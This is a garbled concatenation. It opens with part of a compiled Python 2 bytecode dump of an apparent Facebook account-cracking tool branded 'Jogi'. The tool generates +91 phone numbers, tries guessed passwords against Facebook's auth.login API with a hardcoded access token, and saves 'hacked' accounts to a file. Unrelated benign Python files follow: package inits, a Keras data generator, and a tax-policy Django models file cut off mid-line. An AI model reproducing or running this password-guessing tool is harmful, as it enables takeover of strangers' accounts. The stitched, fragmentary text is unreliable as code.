x00\x00\x00\x00(\x00\x00\x00\x00s\x0c\x00\x00\x00tahmid_rayatt\x04\x00\x00\x00acak\'\x00\x00\x00s\n\x00\x00\x00\x00\x01\x06\x01\x06\x01\r\x010\x02c\x01\x00\x00\x00\x05\x00\x00\x00\x07\x00\x00\x00C\x00\x00\x00s~\x00\x00\x00d\x01\x00}\x01\x00xA\x00|\x01\x00D]9\x00}\x02\x00|\x01\x00j\x00\x00|\x02\x00\x83\x01\x00}\x03\x00|\x04\x00j\x01\x00d\x02\x00|\x02\x00\x16d\x03\x00t\x02\x00d\x04\x00|\x03\x00\x17\x83\x01\x00\x16\x83\x02\x00}\x04\x00q\r\x00W|\x04\x00d\x05\x007}\x04\x00|\x04\x00j\x01\x00d\x06\x00d\x05\x00\x83\x02\x00}\x04\x00t\x03\x00j\x04\x00j\x05\x00|\x04\x00d\x07\x00\x17\x83\x01\x00\x01d\x00\x00S(\x08\x00\x00\x00NR\n\x00\x00\x00s\x03\x00\x00\x00!%ss\x07\x00\x00\x00\x1b[%s;1mi\x1f\x00\x00\x00s\x04\x00\x00\x00\x1b[0ms\x02\x00\x00\x00!0s\x01\x00\x00\x00\n(\x06\x00\x00\x00t\x05\x00\x00\x00indext\x07\x00\x00\x00replacet\x03\x00\x00\x00strR\x07\x00\x00\x00t\x06\x00\x00\x00stdoutt\x05\x00\x00\x00write(\x05\x00\x00\x00R\x12\x00\x00\x00R\x13\x00\x00\x00R\x15\x00\x00\x00t\x01\x00\x00\x00jR\r\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x0c\x00\x00\x00tahmid_rayatR\x11\x00\x00\x000\x00\x00\x00s\x0e\x00\x00\x00\x00\x01\x06\x01\r\x01\x0f\x01(\x02\n\x01\x12\x01c\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00C\x00\x00\x00sC\x00\x00\x00x<\x00|\x00\x00d\x01\x00\x17D]0\x00}\x01\x00t\x00\x00j\x01\x00j\x02\x00|\x01\x00\x83\x01\x00\x01t\x00\x00j\x01\x00j\x03\x00\x83\x00\x00\x01t\x04\x00j\x05\x00d\x02\x00\x83\x01\x00\x01q\x0b\x00Wd\x00\x00S(\x03\x00\x00\x00Ns\x01\x00\x00\x00\ng\xfc\xa9\xf1\xd2MbP?(\x06\x00\x00\x00R\x07\x00\x00\x00R\x1a\x00\x00\x00R\x1b\x00\x00\x00t\x05\x00\x00\x00flusht\x04\x00\x00\x00timet\x05\x00\x00\x00sleep(\x02\x00\x00\x00t\x01\x00\x00\x00zt\x01\x00\x00\x00e(\x00\x00\x00\x00(\x00\x00\x00\x00s\x0c\x00\x00\x00tahmid_rayatt\x05\x00\x00\x00jalan;\x00\x00\x00s\x08\x00\x00\x00\x00\x01\x11\x01\x10\x01\r\x01c\x00\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00C\x00\x00\x00sF\x00\x00\x00d\x01\x00d\x02\x00d\x03\x00g\x03\x00}\x00\x00x0\x00|\x00\x00D](\x00}\x01\x00d\x04\x00|\x01\x00\x17Gt\x00\x00j\x01\x00j\x02\x00\x83\x00\x00\x01t\x03\x00j\x04\x00d\x05\x00\x83\x01\x00\x01q\x16\x00Wd\x00\x00S(\x06\x00\x00\x00Ns\x04\x00\x00\x00. s\x04\x00\x00\x00.. s\x04\x00\x00\x00... s\x1b\x00\x00\x00\r\x1b[1;93mPlease Wait \x1b[1;93mi\x01\x00\x00\x00(\x05\x00\x00\x00R\x07\x00\x00\x00R\x1a\x00\x00\x00R\x1d\x00\x00\x00R\x1e\x00\x00\x00R\x1f\x00\x00\x00(\x02\x00\x00\x00t\x05\x00\x00\x00titikt\x01\x00\x00\x00o(\x00\x00\x00\x00(\x00\x00\x00\x00s\x0c\x00\x00\x00tahmid_rayatt\x03\x00\x00\x00tikB\x00\x00\x00s\n\x00\x00\x00\x00\x02\x0f\x01\r\x01\x08\x01\r\x01i\x00\x00\x00\x00s\r\x00\x00\x00\x1b[31mNot Vulns\t\x00\x00\x00\x1b[32mVulnt\x05\x00\x00\x00clears\x8f\x01\x00\x00\x1b[1;92m---------------------Jogi---------------------\n\n\x1b[1;94m Creater : \x1b[1;92mJogi-Maharaja\n\x1b[1;94mFacebook: \x1b[1;92mJogiMaharaja\n\x1b[1;94mYoutube : \x1b[1;92mhttps://www.youtube.com/channel/UCGEzNlT-HNPnVtAvUSJAY-A\n\x1b[1;94mIts Not A Name Its Brand \x1b[1;92mJOGI\n\x1b[1;92mNo Login Need Enjoy without any problem\n\x1b[1;92mSpeed Commands Country code\n\n\x1b[1;92m-----------------Jogi-------------------------\ns\xa4\x01\x00\x00\n\\[1;92m---------------------Jogi------------------------------------------\n\n\x1b[1;94mCreater : \x1b[1;92mJogi-Maharaja\n\x1b[1;94mFacebook: \x1b[1;92mJogiMaharaja\n\x1b[1;94mYoutube : \x1b[1;92mhttps://www.youtube.com/channel/UCGEzNlT-HNPnVtAvUSJAY-A\n\x1b[1;94mIts Not A Name Its Brand \x1b[1;92mJOGI\n\x1b[1;92mNo Login Need Enjoy without any problem\n\x1b[1;92mSpeed Commands Country code\n\n\x1b[1;96m-----------------Jogi-------------------------\ns\x90\x01\x00\x00\n\x1b[1;92m\n---------------------Jogi---------------------\n\n\x1b[1;94mCreater : \x1b[1;92mJogi-Maharaja\n\x1b[1;94mFacebook: \x1b[1;92mJogiMaharaja\n\x1b[1;94mYoutube : \x1b[1;92mhttps://www.youtube.com/channel/UCGEzNlT-HNPnVtAvUSJAY-A\n\x1b[1;94mIts Not A Name Its Brand \x1b[1;92mJOGI\n\x1b[1;92mNo Login Need Enjoy without any problem\n\x1b[1;92mSpeed Commands Country code\n\n\x1b[1;96m-----------------Jogi-------------------------\nt\x04\x00\x00\x00jogit\x04\x00\x00\x00trues$\x00\x00\x00\x1b[1;92m[?] \x1b[1;97mPASSWORD \x1b[1;97m: s.\x00\x00\x00\n \x1b[1;92mCORRECT\n t\x05\x00\x00\x00falses\x0c\x00\x00\x00\x1b[1;92mWRONGsA\x00\x00\x00xdg-open https://www.youtube.com/channel/UCGEzNlT-HNPnVtAvUSJAY-Ac\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00s\x18\x00\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x02\x00\x83\x00\x00\x01d\x00\x00S(\x02\x00\x00\x00NR&\x00\x00\x00(\x03\x00\x00\x00R\x06\x00\x00\x00t\x06\x00\x00\x00systemt\x05\x00\x00\x00login(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x0c\x00\x00\x00tahmid_rayatt\x07\x00\x00\x00lisensi`\x00\x00\x00s\x04\x00\x00\x00\x00\x01\r\x01c\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00s4\x00\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x02\x00GHd\x02\x00GHt\x03\x00j\x04\x00d\x03\x00\x83\x01\x00\x01d\x04\x00GHt\x05\x00\x83\x00\x00\x01d\x00\x00S(\x05\x00\x00\x00NR&\x00\x00\x00s+\x00\x00\x00\x1b[1;93m[1]\x1b[1;92mStart cloning ( no login )g\x9a\x99\x99\x99\x99\x99\xa9?s,\x00\x00\x00\x1b[1;93m[0]\x1b[1;92m Exit ( See You Later Bye )(\x06\x00\x00\x00R\x06\x00\x00\x00R*\x00\x00\x00t\x05\x00\x00\x00logo1R\x1e\x00\x00\x00R\x1f\x00\x00\x00t\x0b\x00\x00\x00pilih_login(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x0c\x00\x00\x00tahmid_rayatR+\x00\x00\x00e\x00\x00\x00s\x0c\x00\x00\x00\x00\x01\r\x01\x05\x01\x05\x01\r\x01\x05\x01c\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00sA\x00\x00\x00t\x00\x00d\x01\x00\x83\x01\x00}\x00\x00|\x00\x00d\x02\x00k\x02\x00r\'\x00d\x03\x00GHt\x01\x00\x83\x00\x00\x01n\x16\x00|\x00\x00d\x04\x00k\x02\x00r=\x00t\x02\x00\x83\x00\x00\x01n\x00\x00d\x00\x00S(\x05\x00\x00\x00Ns\x17\x00\x00\x00\n\x1b[1;92mCHOOSE: \x1b[1;95mR\x0b\x00\x00\x00s\x18\x00\x00\x00\x1b[1;92mFill In Correctlyt\x01\x00\x00\x001(\x03\x00\x00\x00t\t\x00\x00\x00raw_inputR.\x00\x00\x00t\x04\x00\x00\x00Zeek(\x01\x00\x00\x00t\x04\x00\x00\x00peak(\x00\x00\x00\x00(\x00\x00\x00\x00s\x0c\x00\x00\x00tahmid_rayatR.\x00\x00\x00n\x00\x00\x00s\x0c\x00\x00\x00\x00\x01\x0c\x01\x0c\x01\x05\x01\n\x01\x0c\x01c\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00sA\x00\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\x02\x00GHd\x02\x00GHt\x03\x00j\x04\x00d\x03\x00\x83\x01\x00\x01d\x04\x00GHt\x03\x00j\x04\x00d\x03\x00\x83\x01\x00\x01t\x05\x00\x83\x00\x00\x01d\x00\x00S(\x05\x00\x00\x00NR&\x00\x00\x00s\x19\x00\x00\x00\x1b[1;92m[1] Start Crackingg\x9a\x99\x99\x99\x99\x99\xa9?s\x17\x00\x00\x00\x1b[1;92m[0] \x1b[1;93m Back(\x06\x00\x00\x00R\x06\x00\x00\x00R*\x00\x00\x00R-\x00\x00\x00R\x1e\x00\x00\x00R\x1f\x00\x00\x00t\x06\x00\x00\x00action(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x0c\x00\x00\x00tahmid_rayatR1\x00\x00\x00w\x00\x00\x00s\x0e\x00\x00\x00\x00\x01\r\x01\x05\x01\x05\x01\r\x01\x05\x01\r\x01c\x00\x00\x00\x00\x06\x00\x00\x00\x05\x00\x00\x00\x03\x00\x00\x00s\xd8\x01\x00\x00t\x00\x00d\x01\x00\x83\x01\x00}\x00\x00|\x00\x00d\x02\x00k\x02\x00r\'\x00d\x03\x00GHt\x01\x00\x83\x00\x00\x01n\xca\x00|\x00\x00d\x04\x00k\x02\x00r\xcf\x00t\x02\x00j\x03\x00d\x05\x00\x83\x01\x00\x01t\x04\x00GHd\x06\x00d\x07\x00\x17GHd\x08\x00GHyO\x00t\x00\x00d\t\x00\x83\x01\x00\x89\x00\x00d\n\x00\x89\x01\x00d\x0b\x00}\x01\x00x0\x00t\x05\x00|\x01\x00d\x0c\x00\x83\x02\x00j\x06\x00\x83\x00\x00D]\x19\x00}\x02\x00t\x07\x00j\x08\x00|\x02\x00j\t\x00\x83\x00\x00\x83\x01\x00\x01q\x84\x00WWq\xf1\x00\x04t\n\x00k\n\x00r\xcb\x00\x01\x01\x01d\r\x00GHt\x00\x00d\x0e\x00\x83\x01\x00\x01t\x0b\x00\x83\x00\x00\x01q\xf1\x00Xn"\x00|\x00\x00d\x0f\x00k\x02\x00r\xe5\x00t\x0c\x00\x83\x00\x00\x01n\x0c\x00d\x03\x00GHt\x01\x00\x83\x00\x00\x01d\x10\x00d\x11\x00\x14GHt\r\x00t\x0e\x00t\x07\x00\x83\x01\x00\x83\x01\x00}\x03\x00t\x0f\x00d\x12\x00|\x03\x00\x17\x83\x01\x00\x01t\x0f\x00d\x13\x00\x88\x00\x00\x17\x83\x01\x00\x01t\x0f\x00d\x14\x00\x83\x01\x00\x01t\x0f\x00d\x15\x00\x83\x01\x00\x01d\x10\x00d\x16\x00\x14GH\x87\x00\x00\x87\x01\x00f\x02\x00d\x17\x00\x86\x00\x00}\x04\x00t\x10\x00d\x18\x00\x83\x01\x00}\x05\x00|\x05\x00j\x11\x00|\x04\x00t\x07\x00\x83\x02\x00\x01d\x10\x00d\x16\x00\x14GHd\x19\x00GHd\x1a\x00t\r\x00t\x0e\x00t\x12\x00\x83\x01\x00\x83\x01\x00\x17d\x1b\x00\x17t\r\x00t\x0e\x00t\x13\x00\x83\x01\x00\x83\x01\x00\x17GHd\x1c\x00GHt\x0f\x00d\x1d\x00\x83\x01\x00\x01d\x02\x00GHd\x1e\x00GHt\x00\x00d\x1f\x00\x83\x01\x00\x01t\x0c\x00\x83\x00\x00\x01d\x00\x00S( \x00\x00\x00Ns\x16\x00\x00\x00\n\x1b[1;92mCHOOSE:\x1b[1;97mR\x0b\x00\x00\x00s\x15\x00\x00\x00[!] Fill In CorrectlyR/\x00\x00\x00R&\x00\x00\x00s\x1b\x00\x00\x00Enter any INDIA code Numbers\x01\x00\x00\x00\ns\x92\x00\x00\x00first three digits and the last seven digits of any phone number in this country.Write the remaining digits here.750 to 799,800 to 899,900 to 999,s\x10\x00\x00\x00\x1b[1;92mCHOOSE : s\x03\x00\x00\x00+91s\x04\x00\x00\x00.txtt\x01\x00\x00\x00rs\x12\x00\x00\x00[!] File Not Founds\t\x00\x00\x00\n[ Back ]t\x01\x00\x00\x000i2\x00\x00\x00s\x08\x00\x00\x00\x1b[1;92m-s\x1a\x00\x00\x00\x1b[1;92m Total ids number: s\x18\x00\x00\x00\x1b[1;92mCode you choose: s%\x00\x00\x00\x1b[1;92mWait A While Start Cracking...s#\x00\x00\x00\x1b[1;92mTo Stop Process Press Ctrl+zs\x08\x00\x00\x00\x1b[1;91m-c\x01\x00\x00\x00\x08\x00\x00\x00\x05\x00\x00\x00\x13\x00\x00\x00s\x89\x02\x00\x00|\x00\x00}\x01\x00y\x11\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01Wn\x11\x00\x04t\x02\x00k\n\x00r*\x00\x01\x01\x01n\x01\x00XyP\x02|\x01\x00}\x02\x00t\x03\x00j\x04\x00d\x02\x00\x88\x01\x00\x17\x88\x00\x00\x17|\x01\x00\x17d\x03\x00\x17|\x02\x00\x17d\x04\x00\x17\x83\x01\x00}\x03\x00t\x05\x00j\x06\x00|\x03\x00\x83\x01\x00}\x04\x00d\x05\x00|\x04\x00k\x06\x00r\xdd\x00d\x06\x00\x88\x01\x00\x17\x88\x00\x00\x17|\x01\x00\x17d\x07\x00\x17|\x02\x00\x17GHt\x04\x00d\x08\x00d\t\x00\x83\x02\x00}\x05\x00|\x05\x00j\x07\x00\x88\x01\x00\x88\x00\x00\x17|\x01\x00\x17|\x02\x00\x17d\n\x00\x17\x83\x01\x00\x01|\x05\x00j\x08\x00\x83\x00\x00\x01t\t\x00j\n\x00\x88\x00\x00|\x01\x00\x17|\x02\x00\x17\x83\x01\x00\x01n\x9d\x01d\x0b\x00|\x04\x00d\x0c\x00\x19k\x06\x00rT\x01d\r\x00\x88\x01\x00\x17\x88\x00\x00\x17|\x01\x00\x17d\x07\x00\x17|\x02\x00\x17GHt\x04\x00d\x08\x00d\t\x00\x83\x02\x00}\x06\x00|\x06\x00j\x07\x00\x88\x01\x00\x88\x00\x00\x17|\x01\x00\x17|\x02\x00\x17d\n\x00\x17\x83\x01\x00\x01|\x06\x00j\x08\x00\x83\x00\x00\x01t\x0b\x00j\n\x00\x88\x00\x00|\x01\x00\x17|\x02\x00\x17\x83\x01\x00\x01n&\x01d\x0e\x00}\x07\x00t\x03\x00j\x04\x00d\x02\x00\x88\x01\x00\x17\x88\x00\x00\x17|\x01\x00\x17d\x03\x00\x17|\x07\x00\x17d\x04\x00\x17\x83\x01\x00}\x03\x00t\x05\x00j\x06\x00|\x03\x00\x83\x01\x00}\x04\x00d\x05\x00|\x04\x00k\x06\x00r\x03\x02d\x06\x00\x88\x01\x00\x17\x88\x00\x00\x17|\x01\x00\x17d\x07\x00\x17|\x07\x00\x17GHt\x04\x00d\x08\x00d\t\x00\x83\x02\x00}\x05\x00|\x05\x00j\x07\x00\x88\x01\x00\x88\x00\x00\x17|\x01\x00\x17|\x07\x00\x17d\n\x00\x17\x83\x01\x00\x01|\x05\x00j\x08\x00\x83\x00\x00\x01t\t\x00j\n\x00\x88\x00\x00|\x01\x00\x17|\x07\x00\x17\x83\x01\x00\x01nw\x00d\x0b\x00|\x04\x00d\x0c\x00\x19k\x06\x00rz\x02d\r\x00\x88\x01\x00\x17\x88\x00\x00\x17|\x01\x00\x17d\x07\x00\x17|\x07\x00\x17GHt\x04\x00d\x08\x00d\t\x00\x83\x02\x00}\x06\x00|\x06\x00j\x07\x00\x88\x01\x00\x88\x00\x00\x17|\x01\x00\x17|\x07\x00\x17d\n\x00\x17\x83\x01\x00\x01|\x06\x00j\x08\x00\x83\x00\x00\x01t\x0b\x00j\n\x00\x88\x00\x00|\x01\x00\x17|\x07\x00\x17\x83\x01\x00\x01n\x00\x00Wn\x07\x00\x01\x01\x01n\x01\x00Xd\x00\x00S(\x0f\x00\x00\x00Nt\x04\x00\x00\x00saves\x91\x00\x00\x00https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=s\x17\x00\x00\x00&locale=en_US&password=sH\x00\x00\x00&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efmt\x0c\x00\x00\x00access_tokens\x15\x00\x00\x00\x1b[1;92m[Hack\xe2\x9d\xa4\xef\xb8\x8f] s\x05\x00\x00\x00 | s\x0f\x00\x00\x00save/cloned.txtR\x00\x00\x00\x00s\x01\x00\x00\x00\ns\x10\x00\x00\x00www.facebook.comt\t\x00\x00\x00error_msgs\x0f\x00\x00\x00\x1b[1;93m[CHECK] t\x06\x00\x00\x00223344(\x0c\x00\x00\x00R\x06\x00\x00\x00t\x05\x00\x00\x00mkdirt\x07\x00\x00\x00OSErrort\x02\x00\x00\x00brt\x04\x00\x00\x00opent\x04\x00\x00\x00jsont\x04\x00\x00\x00loadR\x1b\x00\x00\x00t\x05\x00\x00\x00closet\x03\x00\x00\x00okst\x06\x00\x00\x00appendt\x03\x00\x00\x00cpb(\x08\x00\x00\x00t\x03\x00\x00\x00argt\x04\x00\x00\x00usert\x05\x00\x00\x00pass1t\x04\x00\x00\x00datat\x01\x00\x00\x00qt\x03\x00\x00\x00okbt\x03\x00\x00\x00cpst\x05\x00\x00\x00pass2(\x02\x00\x00\x00t\x01\x00\x00\x00ct\x01\x00\x00\x00k(\x00\x00\x00\x00s\x0c\x00\x00\x00tahmid_rayatt\x04\x00\x00\x00main\xa6\x00\x00\x00sL\x00\x00\x00\x00\x01\x06\x01\x03\x01\x11\x01\r\x01\x04\x02\x03\x01\x06\x01\'\x01\x0f\x01\x0c\x01\x19\x01\x0f\x01\x1d\x01\n\x01\x18\x01\x10\x01\x19\x01\x0f\x01\x1d\x01\n\x01\x18\x02\x06\x01\'\x01\x0f\x01\x0c\x01\x19\x01\x0f\x01\x1d\x01\n\x01\x18\x01\x10\x01\x19\x01\x0f\x01\x1d\x01\n\x01\x1c\x01\x03\x01i\x1e\x00\x00\x00s\x1e\x00\x00\x00Process Has Been Completed ...s\x19\x00\x00\x00Total Hack\xe2\x9c\x93/CHECK\xe2\x9d\x97 : t\x01\x00\x00\x00/s0\x00\x00\x00Cloned Accounts Has Been Saved : save/cloned.txts:\x00\x00\x00Note : Your CHECK\xe2\x9d\x97 account Will Open after 10 to 20 dayss\x88\x03\x00\x00\n ______________________\n \xe2\x95\x91\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x95\x91\n \xe2\x95\x91\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x95\x91\n \xe2\x95\x91\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x95\x91\n \xe2\x95\x91\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x95\x91\n \xe2\x95\x91\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x96\x92\xe2\x95\x91\n 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8291ddc028f1d54d7bc24e7c70835f4edb38515f

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Python

whatlies/transformers/__init__.py

louisguitton/whatlies

a6cfa8a08555fbd8a9cee950e36a2cd59a2eb7c0

[ "Apache-2.0" ]

null

whatlies/transformers/__init__.py

louisguitton/whatlies

a6cfa8a08555fbd8a9cee950e36a2cd59a2eb7c0

[ "Apache-2.0" ]

null

whatlies/transformers/__init__.py

louisguitton/whatlies

a6cfa8a08555fbd8a9cee950e36a2cd59a2eb7c0

[ "Apache-2.0" ]

null

from whatlies.transformers.pca import Pca from whatlies.transformers.umap import Umap from whatlies.transformers.noise import Noise from whatlies.transformers.addrandom import AddRandom

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82a9d80d4be624c40bb0b4e5ee8fb60babdbd5e9

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py

Python

autosense/neural/__init__.py

jay1999ke/autoSense

b3027c5a7c1f2fb5a67decdf3e3f8a751313ace8

[ "MIT" ]

null

autosense/neural/__init__.py

jay1999ke/autoSense

b3027c5a7c1f2fb5a67decdf3e3f8a751313ace8

[ "MIT" ]

null

autosense/neural/__init__.py

jay1999ke/autoSense

b3027c5a7c1f2fb5a67decdf3e3f8a751313ace8

[ "MIT" ]

null

import autosense.neural.loss as Loss from autosense.neural.param import Weight, Initializer from autosense.neural.layers import Linear, Conv2D, Dropout, Linear2 from autosense.neural.optim import Optimizer, optimNode

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82c4ded45ee65328011c8fc99a977e3023ed0234

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py

Python

source/utils/data_generator.py

gujingxiao/IJCAI_Keras_Defense

e69b41c651e364e27c837f7c57efc6214b907373

[ "Apache-2.0" ]

1

2019-10-11T15:31:25.000Z

source/utils/data_generator.py

gujingxiao/IJCAI_Keras_Defense

e69b41c651e364e27c837f7c57efc6214b907373

[ "Apache-2.0" ]

null

source/utils/data_generator.py

gujingxiao/IJCAI_Keras_Defense

e69b41c651e364e27c837f7c57efc6214b907373

[ "Apache-2.0" ]

null

import os import keras import pandas as pd import numpy as np import cv2 from utils.preprocessing import data_augment from utils.iaa_process import iaa_data_augment # Train Generator def train_generator(train_list, size, batchsize, augment, num_classes): # Arrange all indexes all_batches_index = np.arange(0, len(train_list)) out_images = [] out_masks = [] image_dir = np.array(train_list['image_dir']) label_dir = np.array(train_list['label']) while True: # Random shuffle indexes every epoch np.random.shuffle(all_batches_index) for index in all_batches_index: if os.path.exists(os.path.join('../', image_dir[index])): image = cv2.resize(cv2.imread(os.path.join('../', image_dir[index])), (size, size)) if augment != False: image_aug = iaa_data_augment(image) label = int(label_dir[index]) image_aug = np.array(image_aug) image_aug = image_aug / 255. out_images.append(image_aug) else: image = np.array(image) image = image / 255. label = int(label_dir[index]) out_images.append(image) out_masks.append(label) if len(out_images) >= batchsize: out_images = np.array(out_images) out_masks = np.array(out_masks) out_masks = keras.utils.to_categorical(out_masks, num_classes=num_classes) yield out_images, out_masks out_images, out_masks = [], [] else: print(image_dir[index], 'does not exist.') def valid_generator(val_list, size, batchsize, augment, num_classes): # Arrange all indexes all_batches_index = np.arange(0, len(val_list)) out_images = [] out_masks = [] image_dir = np.array(val_list['image_dir']) label_dir = np.array(val_list['label']) while True: # Random shuffle indexes every epoch np.random.shuffle(all_batches_index) for index in all_batches_index: if os.path.exists(os.path.join('../', image_dir[index])): image = cv2.resize(cv2.imread(os.path.join('../', image_dir[index])), (size, size)) if augment != False: image_aug = iaa_data_augment(image) label = int(label_dir[index]) image_aug = np.array(image_aug) image_aug = image_aug / 255. out_images.append(image_aug) else: image = np.array(image) image = image / 255. label = int(label_dir[index]) out_images.append(image) out_masks.append(label) if len(out_images) >= batchsize: out_images = np.array(out_images) out_masks = np.array(out_masks) out_masks = keras.utils.to_categorical(out_masks, num_classes=num_classes) yield out_images, out_masks out_images, out_masks = [], [] else: print(image_dir[index], 'does not exist.')

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7d9a7c27387a68848932fd71df2d5cc504678da5

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py

Python

webapp/apps/taxbrain/models.py

OpenSourcePolicyCenter/PolicyBrain

5edffcd5cf8bb6544afc1ed982636abe66e246e1

[ "MIT" ]

13

2017-11-07T15:54:42.000Z

2018-09-27T20:56:28.000Z

webapp/apps/taxbrain/models.py

OpenSourcePolicyCenter/webapp-public

5edffcd5cf8bb6544afc1ed982636abe66e246e1

[ "MIT" ]

547

2015-08-07T21:32:51.000Z

2017-09-14T21:25:43.000Z

webapp/apps/taxbrain/models.py

OpenSourcePolicyCenter/webapp-public

5edffcd5cf8bb6544afc1ed982636abe66e246e1

[ "MIT" ]

23

2015-08-07T20:55:39.000Z

2017-08-25T19:20:20.000Z

import re import uuid import json from distutils.version import LooseVersion from django.db import models from django.core import validators from django.core.urlresolvers import reverse from django.core.exceptions import ValidationError from django.core.validators import MinValueValidator, MaxValueValidator, RegexValidator from django.contrib.auth.models import User from django.contrib.postgres.fields import JSONField, ArrayField import datetime from django.utils.timezone import make_aware import taxcalc from . import helpers from . import param_formatters from .behaviors import Resultable, Fieldable, DataSourceable, Hostnameable # digit or true/false (case insensitive) COMMASEP_REGEX = "(<,)|(\\d*\\.\\d+|\\d+)|((?i)(true|false))" class CommaSeparatedField(models.CharField): default_validators = [validators.RegexValidator(regex=COMMASEP_REGEX)] description = "A comma separated field that allows multiple floats." def __init__(self, verbose_name=None, name=None, **kwargs): kwargs['max_length'] = kwargs.get('max_length', 200) super(CommaSeparatedField, self).__init__(verbose_name, name, **kwargs) def deconstruct(self): name, path, args, kwargs = super(CommaSeparatedField, self).deconstruct() if kwargs.get("max_length", None) == 1000: del kwargs['max_length'] return name, path, args, kwargs class SeparatedValuesField(models.TextField): def __init__(self, *args, **kwargs): self.token = kwargs.pop('token', ',') super(SeparatedValuesField, self).__init__(*args, **kwargs) def to_python(self, value): if not value: return if isinstance(value, list): return value return value.split(self.token) def get_db_prep_value(self, value, connection=None, prepared=False): if not value: return assert(isinstance(value, list) or isinstance(value, tuple)) return self.token.join([str(s) for s in value]) def value_to_string(self, obj): value = self._get_val_from_obj(obj) return self.get_db_prep_value(value) def from_db_value(self, value, expression, connection, context): return self.to_python(value) class JSONReformTaxCalculator(models.Model): ''' This class holds all of the text for a JSON-based reform input for TaxBrain. A TaxSavesInput Model will have a foreign key to an instance of this model if the user created the TaxBrain job through the JSON iput page. ''' reform_text = models.TextField(blank=True, null=False) raw_reform_text = models.TextField(blank=True, null=False) assumption_text = models.TextField(blank=True, null=False) raw_assumption_text = models.TextField(blank=True, null=False) errors_warnings_text = models.TextField(blank=True, null=False) def get_errors_warnings(self): """ Errors were only stored for the taxcalc.Policy class until PB 1.6.0 This method ensures that old runs are parsed correctly """ ew = json.loads(self.errors_warnings_text) if 'errors' in ew: return {'policy': ew} else: return ew class ErrorMessageTaxCalculator(models.Model): ''' This class holds all of the text for an error message on TaxBrain. A TaxSavesInput Model will have a foreign key to an instance of this model if the user created the TaxBrain job that ends up failing and reporting this failure. ''' text = models.CharField(blank=True, null=False, max_length=4000) class TaxSaveInputs(DataSourceable, Fieldable, Resultable, Hostnameable, models.Model): """ This model contains all the parameters for the tax model and the tax result. For filing status fields: _0 = Single, _1 = Married filing Jointly, _2 = Married filing Separately, _3 = Head of Household (example: _SS_thd50_0 is the Single filing status for Income Threshold 1 in the Social Security Tax section.) The exception to this rule is for EITC, where: _0 = 0 Kids, _1 = 1 Kid, _2 = 2 Kids, & _3 = 3+ Kids """ # Parameters used for Social Security. FICA_ss_trt = CommaSeparatedField(default=None, null=True, blank=True) FICA_mc_trt = CommaSeparatedField(default=None, null=True, blank=True) SS_Income_c = CommaSeparatedField(default=None, null=True, blank=True) SS_Income_c_cpi = models.NullBooleanField(default=None, blank=True, null=True) SS_thd50_0 = CommaSeparatedField(default=None, null=True, blank=True) SS_thd50_1 = CommaSeparatedField(default=None, null=True, blank=True) SS_thd50_2 = CommaSeparatedField(default=None, null=True, blank=True) SS_thd50_3 = CommaSeparatedField(default=None, null=True, blank=True) SS_thd50_4 = CommaSeparatedField(default=None, null=True, blank=True) SS_thd50_cpi = models.NullBooleanField(default=None, blank=True, null=True) SS_percentage1 = CommaSeparatedField(default=None, null=True, blank=True) SS_thd85_0 = CommaSeparatedField(default=None, null=True, blank=True) SS_thd85_1 = CommaSeparatedField(default=None, null=True, blank=True) SS_thd85_2 = CommaSeparatedField(default=None, null=True, blank=True) SS_thd85_3 = CommaSeparatedField(default=None, null=True, blank=True) SS_thd85_4 = CommaSeparatedField(default=None, null=True, blank=True) SS_thd85_cpi = models.NullBooleanField(default=None, blank=True, null=True) SS_percentage2 = CommaSeparatedField(default=None, null=True, blank=True) SS_Earnings_c = CommaSeparatedField(default=None, null=True, blank=True) SS_Earnings_c_cpi = models.NullBooleanField(default=None, blank=True, null=True) # Parameter for Additional Medicare tax AMEDT_rt = CommaSeparatedField(default=None, blank=True, null=True) AMEDT_ec_0 = CommaSeparatedField(default=None, blank=True, null=True) AMEDT_ec_1 = CommaSeparatedField(default=None, blank=True, null=True) AMEDT_ec_2 = CommaSeparatedField(default=None, blank=True, null=True) AMEDT_ec_3 = CommaSeparatedField(default=None, blank=True, null=True) AMEDT_ec_4 = CommaSeparatedField(default=None, blank=True, null=True) AMEDT_ec_cpi = models.NullBooleanField(default=None, blank=True, null=True) # Parameters used for Adjustments. ALD_StudentLoan_hc = CommaSeparatedField(default=None, blank=True, null=True) ALD_SelfEmploymentTax_hc = CommaSeparatedField(default=None, blank=True, 